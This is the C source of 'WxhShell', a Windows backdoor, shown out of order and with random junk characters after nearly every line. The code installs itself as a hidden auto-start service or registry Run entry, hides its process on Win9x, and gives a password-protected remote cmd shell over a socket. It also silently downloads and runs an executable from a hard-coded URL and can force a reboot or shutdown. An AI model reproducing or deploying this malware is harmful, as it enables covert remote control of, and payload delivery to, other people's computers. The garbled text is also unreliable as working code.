    closesocket(wsh); jP*5(*[&y  
    ExitThread(0); z?o1 6o-:  
    } r$3{1HXc  
    break; O'tVZ!C#J  
    } RmXC ^VQ  
  // 获取shell "#7~}Z B  
  case 's': { z"4UObVs  
    CmdShell(wsh); ~!o\uTVr  
    closesocket(wsh); ^kg[n908Nw  
    ExitThread(0); #H]cb#  
    break; 32DT]{-N!  
  } CXC,@T  
  // 退出 QcZ*dI7]:  
  case 'x': { 7.hgne'<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /?<tjK' "H  
    CloseIt(wsh); *#ccz  
    break; =HJ)!(  
    } tqI]S X  
  // 离开 r{DR$jD  
  case 'q': { p3?!}VM!y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q5X \wz2N  
    closesocket(wsh); QWt ?` h=  
    WSACleanup(); :U^!N8i"=  
    exit(1); pqaQ%|<  
    break; 63hOK  
        } 5nq0#0O c  
  } bs-O3w  
  } s>}ScJZK  
Pba 6Ay6B  
  // 提示信息 4F_*,_Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CiE  
} h-0sDt pR  
  } 'FB?#C%U  
6=V&3|"  
  return; FD?!bI4  
} jJ^p ?  
VCOz?Y*  
// shell模块句柄 y*ae 5=6(  
int CmdShell(SOCKET sock) S+c)  
{ ~udi=J |  
STARTUPINFO si; b"U{@  
ZeroMemory(&si,sizeof(si)); ')pXQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eKd F-;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D ff0$06Nq  
PROCESS_INFORMATION ProcessInfo; , sEu[m  
char cmdline[]="cmd"; ]y*AA58;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MB$K ?"Y  
  return 0; $JKR,   
} .~#<>  
rLMjN#`^  
// 自身启动模式 H{*~d+:ol  
int StartFromService(void) p4m9@ \gn  
{ anwMG0  
typedef struct .+1.??8:+  
{ /P<K)a4GM  
  DWORD ExitStatus; Jb'l.xN  
  DWORD PebBaseAddress; ZA4NVt.yN  
  DWORD AffinityMask; jq6BwUN  
  DWORD BasePriority; BMlnzi  
  ULONG UniqueProcessId; Lf+M +^l  
  ULONG InheritedFromUniqueProcessId; md`PRZzj@  
}   PROCESS_BASIC_INFORMATION; m.ib#Y)y  
y%.^| G  
PROCNTQSIP NtQueryInformationProcess; an+`>}]F  
m/#)B6@A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A%H"a+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ICSi<V[y1  
 $$E!u}  
  HANDLE             hProcess; sFNBrL  
  PROCESS_BASIC_INFORMATION pbi; }Dk*Hs^E  
H8[ L:VeNT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  /[f9Z:>V  
  if(NULL == hInst ) return 0; F?b5!<5  
NYwE=b~I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s7RAui  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H38ODWO3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]^HlI4 z  
hL:n9G  
  if (!NtQueryInformationProcess) return 0; YJZVi ic  
IY$H M3t7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]IQTf5n  
  if(!hProcess) return 0; B%HG7  
K07b#`NF6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JTu^p]os?  
3Qt-%=b&  
  CloseHandle(hProcess); 3ZNm,{  
aa!o::;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0pP;[7k\  
if(hProcess==NULL) return 0; _8$arjx=  
}eA2y($N  
HMODULE hMod; ;q:.&dak1  
char procName[255]; 2BA'Zu`  
unsigned long cbNeeded; 9F8"(  
f?O?2g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NFT&\6!o  
 M1>< K:  
  CloseHandle(hProcess); \(9hg.E  
|KR; $e&  
if(strstr(procName,"services")) return 1; // 以服务启动 8,0p14I5;  
v]CH L# |  
  return 0; // 注册表启动 c8qsp n  
} p|Po##E}g^  
[d="94Ab  
// 主模块 FX QUj&9  
int StartWxhshell(LPSTR lpCmdLine) _~f&wkc  
{ %u"3&kOV  
  SOCKET wsl; 3D3/\E#'o  
BOOL val=TRUE; w i,}sEoM  
  int port=0; yyZV/ x~  
  struct sockaddr_in door; $ZSjq  
-eH5s3:A  
  if(wscfg.ws_autoins) Install(); \W5fcxf  
OZ2gIK  
port=atoi(lpCmdLine); n_[;2XQQ  
d+ P<nI/|  
if(port<=0) port=wscfg.ws_port; 0Da9,&D  
4(5NHsvp  
  WSADATA data; G]Fp},  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?1\rf$l8  
@ i $jyc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;eYm+e^?.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @.Pd3CB0  
  door.sin_family = AF_INET; zTODV<-`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #.|ef dsG  
  door.sin_port = htons(port); m22FOjk\  
0fhz7\a^_<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E<u6 js,  
closesocket(wsl); I^h^QeBis  
return 1; Gh3b*O_,  
} d>j`|(\  
:q_(=EA  
  if(listen(wsl,2) == INVALID_SOCKET) { sTx23RJ9  
closesocket(wsl); K&2{k+ w  
return 1; 2H7b2%  
} *c<=IcA  
  Wxhshell(wsl); .!yXto:  
  WSACleanup(); SGi(Zkc  
-%8*>%  
return 0; ^m ^4LDt  
9V5}%4k%+  
} i7hWBd4wK  
iTf]Pd'  
// 以NT服务方式启动 S>AM?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k+ Shhe1  
{ )erI3?k  
DWORD   status = 0; QMUmPx&  
  DWORD   specificError = 0xfffffff; 6\jhDP@`9  
~ ;CnwG   
  serviceStatus.dwServiceType     = SERVICE_WIN32; B(+J?0Dj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N"A863>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #~(J J  
  serviceStatus.dwWin32ExitCode     = 0; koQ\]t'*As  
  serviceStatus.dwServiceSpecificExitCode = 0; 6M({T2e  
  serviceStatus.dwCheckPoint       = 0; zo!e<>o  
  serviceStatus.dwWaitHint       = 0; A.0eeX{  
|Tn+Aq7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `_`\jd@  
  if (hServiceStatusHandle==0) return; {G _ :#cep  
p:kHb@  
status = GetLastError(); XxXMtiZ6  
  if (status!=NO_ERROR) 1ztL._Td  
{ ?];?3X~|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (^x ,  
    serviceStatus.dwCheckPoint       = 0; /l o;:)AiP  
    serviceStatus.dwWaitHint       = 0; ?)x"+[2  
    serviceStatus.dwWin32ExitCode     = status; hzG+s#  
    serviceStatus.dwServiceSpecificExitCode = specificError; >NL4&MV:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $9LI v  
    return; $\:;N]Cs~0  
  } BhJag L ^o  
zQpF, N<b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3zdm-5R.b  
  serviceStatus.dwCheckPoint       = 0; :Kc9k(3&r  
  serviceStatus.dwWaitHint       = 0; 8R G U^&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .d}7c!  
} jIpc^iu`,  
ei TG  
// 处理NT服务事件,比如:启动、停止 kkvG=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [FhFeW>  
{ a!iG;:K   
switch(fdwControl) ){~]-VK  
{ %d3KE|&u  
case SERVICE_CONTROL_STOP: (e,5 b  
  serviceStatus.dwWin32ExitCode = 0; <d&9`e1Hc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E'_3U5U  
  serviceStatus.dwCheckPoint   = 0; ?<mxv"  
  serviceStatus.dwWaitHint     = 0; bq+ Q$#F2X  
  { V 4~`yT?*"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (RhGBgp  
  } =a!w)z_rw  
  return; gK8E|f-z  
case SERVICE_CONTROL_PAUSE: S5a?KU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?g7O([*[  
  break; E@uxEF  
case SERVICE_CONTROL_CONTINUE: iLd_{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~hx__^]d  
  break; mpcO-%a  
case SERVICE_CONTROL_INTERROGATE: 6 07"Z\  
  break; ;:2:f1_  
}; aaa6R|>0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4@%0mFll  
} #`kLU:  
{:peArO  
// 标准应用程序主函数 (g>8!Gl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1m c'=S{  
{ 2m! T .$  
R]Iv?)Y  
// 获取操作系统版本 $0(~ID  
OsIsNt=GetOsVer(); vh29mzum  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ONc-jU^  
Qv v~nGq$  
  // 从命令行安装 gGdt&9z %  
  if(strpbrk(lpCmdLine,"iI")) Install(); /b ]Yya#  
cN]e{|  
  // 下载执行文件 _s(izc  
if(wscfg.ws_downexe) { 5(+9( \x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @d/Wa=K  
  WinExec(wscfg.ws_filenam,SW_HIDE); JZc"4qf@OT  
} R:[IH2F s  
KUR9vo  
if(!OsIsNt) { -c_}^j  
// 如果时win9x,隐藏进程并且设置为注册表启动 xzI?'?duC  
HideProc(); klUW_d-  
StartWxhshell(lpCmdLine); XkGS3EY  
} ZSs)AB_Pe/  
else J.t tJOP  
  if(StartFromService()) pb`!_GmB  
  // 以服务方式启动 mrc% 6Ri  
  StartServiceCtrlDispatcher(DispatchTable); =Su~i Oa  
else 0P?\eoB@8  
  // 普通方式启动 ggP#2I\  
  StartWxhshell(lpCmdLine); xoT|fgb  
e7# B?  
return 0; .UdoB`@!v=  
} 1I^uq>r  
bOvMXj/HV=  
+?&|p0  
pz uR H1[  
=========================================== ,.Sd)JB'  
:\Pk>a  
nKR=/5a4Y  
6/4?x)l3-  
y?r:`n  
v c r5  
" /a'cP  
\os iY ^  
#include <stdio.h> 5:T)hoF@  
#include <string.h> MhaoD5*9  
#include <windows.h> ~WKcO&  
#include <winsock2.h> 94Hs.S)  
#include <winsvc.h> "{1SDbwmMo  
#include <urlmon.h> $t1XoL  
Z` ;.62S  
#pragma comment (lib, "Ws2_32.lib") - C  
#pragma comment (lib, "urlmon.lib") s\Zp/-Q  
:)PAj  
#define MAX_USER   100 // 最大客户端连接数 L2N O_N  
#define BUF_SOCK   200 // sock buffer +^@;J?O  
#define KEY_BUFF   255 // 输入 buffer ){_D  
cD!y d^QE  
#define REBOOT     0   // 重启 ]TTQ;F  
#define SHUTDOWN   1   // 关机 ?J1x'/G  
Q+r8qnL'  
#define DEF_PORT   5000 // 监听端口 p3f>;|uh_  
d^.@~  
#define REG_LEN     16   // 注册表键长度 S1`;2mAf*  
#define SVC_LEN     80   // NT服务名长度 2)W~7GED  
}BR@vY'd  
// 从dll定义API bAd$ >DI[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  Ie<`WU K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MT?;9ZV}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^o|Gx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vz^w %67&  
)ld !(d=  
// wxhshell配置信息 (mvzGXNz4  
struct WSCFG { /8s+eHn&%  
  int ws_port;         // 监听端口 /4Q^L>a  
  char ws_passstr[REG_LEN]; // 口令 8'n xc#&  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mu~DB:Y9e  
  char ws_regname[REG_LEN]; // 注册表键名 u#>*"4Q  
  char ws_svcname[REG_LEN]; // 服务名 5PCMxjon  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jcY:a0[{D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YtWO=+rX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \i}:Vb(^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wu\szI"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |J_kS90=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j,%<16f^A  
|V>_l' /  
}; uPvE;E_  
-$Ad#Eu]M  
// default Wxhshell configuration }ag -J."5M  
struct WSCFG wscfg={DEF_PORT, "j]85  
    "xuhuanlingzhe", QE b ^'y  
    1, O0i)Iu(J7;  
    "Wxhshell", :RqTbE4B  
    "Wxhshell", 3u tJlD  
            "WxhShell Service", xi!CZNz  
    "Wrsky Windows CmdShell Service", AlH\IP  
    "Please Input Your Password: ", FVw4BUOmi  
  1, tu%!j}3s  
  "http://www.wrsky.com/wxhshell.exe", $ M8ZF(W  
  "Wxhshell.exe" VuiK5?m  
    }; `62iW3y  
~|>q)4is6a  
// 消息定义模块 ": G\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Drz6K_KrP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kM>Bk \  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {)c2#h  
char *msg_ws_ext="\n\rExit."; SD=kpf;  
char *msg_ws_end="\n\rQuit."; Js706  
char *msg_ws_boot="\n\rReboot..."; [*jvvkAp  
char *msg_ws_poff="\n\rShutdown..."; hh$V[/iK  
char *msg_ws_down="\n\rSave to "; M|l`2Hpe  
>0kZ-M5  
char *msg_ws_err="\n\rErr!"; k>ERU]7[  
char *msg_ws_ok="\n\rOK!"; pod=|(c  
foi@z9  
char ExeFile[MAX_PATH]; 1lf 5xm.  
int nUser = 0;  6[{|'  
HANDLE handles[MAX_USER]; q!sazVaDp  
int OsIsNt; Fhr5)Z  
SCUsDr+.  
SERVICE_STATUS       serviceStatus; :hA=(iz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |hlc#t ?  
];n3H~2  
// 函数声明 6n  
int Install(void); R54wNm @  
int Uninstall(void); ohod)8  
int DownloadFile(char *sURL, SOCKET wsh); ]l~TI8gC  
int Boot(int flag); S{sJX5R;  
void HideProc(void); x_yQoae  
int GetOsVer(void); $^ wqoW%t  
int Wxhshell(SOCKET wsl); "G+g(?N]j  
void TalkWithClient(void *cs); qVpV ZH!  
int CmdShell(SOCKET sock); F"?OLV1B&  
int StartFromService(void); Xc!0'P0T  
int StartWxhshell(LPSTR lpCmdLine); Z fQzA}QD  
uq~Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lebwGW,!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !i`HjV0wS  
x)h|!T=B~  
// 数据结构和表定义 (#t"u`_Ee  
SERVICE_TABLE_ENTRY DispatchTable[] = 5R?[My  
{ @Ft\~ +}  
{wscfg.ws_svcname, NTServiceMain}, Ac'0  
{NULL, NULL} e{*-_j "I  
}; #KOr-Yg|U  
LZ ?z5U:  
// 自我安装 "; PW#VHC  
int Install(void) .*3.47O  
{ }K8W%h<3S  
  char svExeFile[MAX_PATH]; l4:5(1  
  HKEY key; v*&WxP^Gm  
  strcpy(svExeFile,ExeFile); )rqb<O  
bu j}pEI  
// 如果是win9x系统,修改注册表设为自启动 9MI~yIt`L  
if(!OsIsNt) { 5Wyo!pRi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zHEH?xZ6sD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [lmghI!  
  RegCloseKey(key); WlJ $p$I`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VD,p<u{r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PGE|){ <  
  RegCloseKey(key); #2XX[d%  
  return 0; _~=qByD   
    } .o._`"V  
  } h !yu. v  
} lh N2xg5x  
else { D #`o  
Exy|^Dr0  
// 如果是NT以上系统,安装为系统服务 nNN~Z'bG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^ |xSU_wa  
if (schSCManager!=0) }r+(Z.BHM  
{  ./iC  
  SC_HANDLE schService = CreateService b#17N2xkT  
  ( u@"nVHgMJ  
  schSCManager, ;E!(W=]*F  
  wscfg.ws_svcname, >l!#_a  
  wscfg.ws_svcdisp, O/|,rAE  
  SERVICE_ALL_ACCESS, (pU@$H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3 W%Bsqn  
  SERVICE_AUTO_START, i$[wkQ>$  
  SERVICE_ERROR_NORMAL, $CXMeY{tOo  
  svExeFile, `[&) X  
  NULL, 5f` a7R  
  NULL, hI^Hqv  
  NULL, +J`HI1  
  NULL, nz?jNdyz  
  NULL <hS %I  
  ); +bGj(T%+'  
  if (schService!=0) R?/!7  
  { vZ rE9C }  
  CloseServiceHandle(schService); X q"_^  
  CloseServiceHandle(schSCManager); [b=l'e/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c6;326aD q  
  strcat(svExeFile,wscfg.ws_svcname); 3p%B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ub(8ko:8$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nQ$4W  
  RegCloseKey(key); m,u5S=3A{!  
  return 0; ~)ecQ  
    } t=K;/ 1  
  } dv_& ei  
  CloseServiceHandle(schSCManager); m$bX;F}T  
} v}Gpw6   
} sM4Qu./  
{1<XOp#b  
return 1; #lf3$Tm D  
} w6PKr^  
J#```cB  
// 自我卸载 G<5i %@  
int Uninstall(void) |9 Gng`)  
{ &V$qIvN$  
  HKEY key; kvdiDo  
o~_wx  
if(!OsIsNt) { 7eM:YqT/#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sy ]k  
  RegDeleteValue(key,wscfg.ws_regname); u(Y! _  
  RegCloseKey(key); 0L ^WTq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &yQilyU{V  
  RegDeleteValue(key,wscfg.ws_regname); pZYcCc>6&  
  RegCloseKey(key); &sbKN[xM  
  return 0; 9(\eL9^  
  } yX {CV7%O  
} WeqE 9@V  
} =u*\P!$  
else {  |>Q ] q  
}k`-n32)|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *tWZ.I<<  
if (schSCManager!=0) Y`O"+Jr  
{ fku\O<1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HP$GI  
  if (schService!=0) pBd_Ba N  
  { d>RoH]K4  
  if(DeleteService(schService)!=0) { ^-*q  
  CloseServiceHandle(schService); 6;O fh   
  CloseServiceHandle(schSCManager); ,t2yw  
  return 0; &gDwsW  
  } fAW(  
  CloseServiceHandle(schService); *FINNNARB  
  } efc<lSUR  
  CloseServiceHandle(schSCManager); ?)Psf/  
} W -pN  
} C\Y%FTS:  
h~!KNF*XW  
return 1; >nqDUGnEo>  
} v>p UVM  
U #u=9%'  
// 从指定url下载文件 *an^ 0  
int DownloadFile(char *sURL, SOCKET wsh) L,(H(GeX  
{ < wI z8V  
  HRESULT hr; ,n}h_ct  
char seps[]= "/"; ~x!"(  
char *token; y@T 0 jI  
char *file; Wk0"U V  
char myURL[MAX_PATH]; p)dD{+"/2  
char myFILE[MAX_PATH]; +b9gP\Hke  
/M0A9ZT[  
strcpy(myURL,sURL);  -L.U4x  
  token=strtok(myURL,seps); ![>j`i  
  while(token!=NULL) $$,/F  
  { CTNeh%K;  
    file=token; dGNg[  
  token=strtok(NULL,seps); 2"'<Yk9  
  } E1=WH-iA0  
xw>\6VNt  
GetCurrentDirectory(MAX_PATH,myFILE); BA5b;+o-  
strcat(myFILE, "\\"); 2j*+^&M/  
strcat(myFILE, file); ~]d3 f  
  send(wsh,myFILE,strlen(myFILE),0); _3;vir%)  
send(wsh,"...",3,0); Epl\(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DCv=*=6w  
  if(hr==S_OK) | 4slG   
return 0; SY[7<BUZ  
else ;$VQRXq  
return 1; SZ;Is,VgU4  
I}Fv4wlZG  
} VssD  
T3JM8  
// 系统电源模块 qwERy{]Sp;  
int Boot(int flag) :4&q2-  
{ \\Z{[{OZ  
  HANDLE hToken; "%mu~&Ga  
  TOKEN_PRIVILEGES tkp; #Yqj27&  
<r8sZrY  
  if(OsIsNt) { kn^? .^dVX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aw3 oG?3I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,>AA2@6zMT  
    tkp.PrivilegeCount = 1; GY%2EM(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9On0om>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :vsF4  
if(flag==REBOOT) { dYEsSFB m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MnQ4,+ji-  
  return 0; vi4lmkyh^  
} -;i vBR  
else { MYmH?A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LdPA`oI3j  
  return 0; 5Nt40)E}sN  
} BDO]-y  
  } \qo}}I>e  
  else { 0+iaO"%  
if(flag==REBOOT) { iB1+4wa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [s} n v]  
  return 0; Uyuvmt>  
} .?Pghqq.  
else { e2}5< 7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4GL-3e  
  return 0; FxkxV GZ"  
} 6>hW.aq}  
} HRG2sv T4t  
CY4ntd4M  
return 1; $YPU(y  
} HQ7  
/}ADV2sF  
// win9x进程隐藏模块 A_ftf 7,  
void HideProc(void) FEF $4)ROv  
{ T1([P!g*  
/Cl=;^)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pO10L`|  
  if ( hKernel != NULL ) d~>d\K%v  
  { ,WA[HwY-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H[u[3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WlF}R\N!  
    FreeLibrary(hKernel); T\ cJn>kCn  
  } Cb1fTl%  
v)!C Dpw  
return; 4(hHp6}b  
} ,lUroO^^  
=8p *Ijs  
// 获取操作系统版本 zG|#__=T  
int GetOsVer(void)  d.)%C]W{  
{ e=).0S`*F  
  OSVERSIONINFO winfo; X`+8r O[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^T.icSxP  
  GetVersionEx(&winfo); s^QXCmb$8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k7R}]hq]""  
  return 1; n6 VX0R  
  else /&eF,4  
  return 0; :mI[fQ  
} 5>nb A8  
`\]gNn'Q  
// 客户端句柄模块 zQt"i`{U  
int Wxhshell(SOCKET wsl) jx?"m=`s:  
{ "fq8)  
  SOCKET wsh; $7'K]'UJXO  
  struct sockaddr_in client; kuZs30^  
  DWORD myID; ]6*+i $  
}23#z  
  while(nUser<MAX_USER) B S^P&TR!  
{ WS7a]~3'  
  int nSize=sizeof(client); 4b}94e@(N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z'V"nhL  
  if(wsh==INVALID_SOCKET) return 1; y?}R,5k  
/ Ml d.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5{.g~3"  
if(handles[nUser]==0) q '  
  closesocket(wsh); h=7eOK]  
else `+c8;p'q  
  nUser++; zNo(|;19  
  } 'y? HF@NJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KsG>,# Q  
s7(I  
  return 0; ,RYahu  
} Li{R?Osx  
8K;wX%_,  
// 关闭 socket h88 IP:bo  
void CloseIt(SOCKET wsh) Y;B#_}yF  
{ Cr;d !=  
closesocket(wsh); (e~vrSk+)~  
nUser--; l`' lqnhv  
ExitThread(0); Lu6?$N57rC  
} MF}}o0P  
C>0='@LB@r  
// 客户端请求句柄 'C")X  
void TalkWithClient(void *cs) n?EL\B   
{ @XSxoUF\  
|Ox !tvyr  
  SOCKET wsh=(SOCKET)cs; "KhVS  
  char pwd[SVC_LEN]; c8=@ s#  
  char cmd[KEY_BUFF]; =I6u*$9<  
char chr[1]; i4p2]Nr t  
int i,j; M9J^;3Lrh  
>.}ewz&9o  
  while (nUser < MAX_USER) { ja Ot"iU.B  
$(PWN6{\r^  
if(wscfg.ws_passstr) { zB@@Gs>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [-pB}1Dxb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3L5o8?[  
  //ZeroMemory(pwd,KEY_BUFF); Ze:Y"49S+>  
      i=0; 'aAay*1  
  while(i<SVC_LEN) { !arTR.b\  
6 z2_b wo  
  // 设置超时 M)T{6 w  
  fd_set FdRead; +'{@Xe}  
  struct timeval TimeOut; EvJ"%:bp  
  FD_ZERO(&FdRead); Z7@~#)3  
  FD_SET(wsh,&FdRead); 45DR%cz  
  TimeOut.tv_sec=8; xn`<g|"#  
  TimeOut.tv_usec=0; 1$^=M[v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); puPYM"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ==W`qC4n?n  
HbUadPr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $S(q;Y  
  pwd=chr[0]; ]L?DV3N  
  if(chr[0]==0xd || chr[0]==0xa) { (!iGQj(m  
  pwd=0; ,2y " \_  
  break; UB7H`)C}  
  } j%Cr)' H?  
  i++; UN"U#Si)  
    } IY=CTFQ8lm  
~l@-gAyw  
  // 如果是非法用户,关闭 socket  @U;U0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~?x `f +  
} RE?j)$y?`  
iI.d8}A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G"'[dL)N>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HsQ\xQ"k!  
d mj T$a|  
while(1) { s/=.a2\  
^HM9'*&KJ  
  ZeroMemory(cmd,KEY_BUFF); B<A=U r  
~5xs$ub  
      // 自动支持客户端 telnet标准   |x ~<Dc>0*  
  j=0; i( l'f#  
  while(j<KEY_BUFF) { Jjgy;*hM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x(UOt;  
  cmd[j]=chr[0]; J91O$szA  
  if(chr[0]==0xa || chr[0]==0xd) { F]"Hs>  
  cmd[j]=0; lbg^ 2|o~~  
  break; V.8pxD5 s  
  } zs_^m1t1s  
  j++; ,aLdW,<6  
    } Ub%sw&QG(9  
KW[Jft  
  // 下载文件 w&E*{{otJ  
  if(strstr(cmd,"http://")) { oB8x_0#n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V,W":&!x  
  if(DownloadFile(cmd,wsh)) B,]:<1l~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!!>}e>Cj*  
  else B2uLfi$q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '+Gy)@c  
  } '/@] V  
  else { E{-W#}#  
F|seBBu  
    switch(cmd[0]) { &d8z`amP  
  =`oQcIkz  
  // 帮助 ,PyA$Z  
  case '?': { \EC=#E(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Fo1[:_B '  
    break; h"-}BjL  
  } <g^!xX<r?  
  // 安装 tUp'cG  
  case 'i': { ]DaC??%w  
    if(Install()) Y8fahQ#  
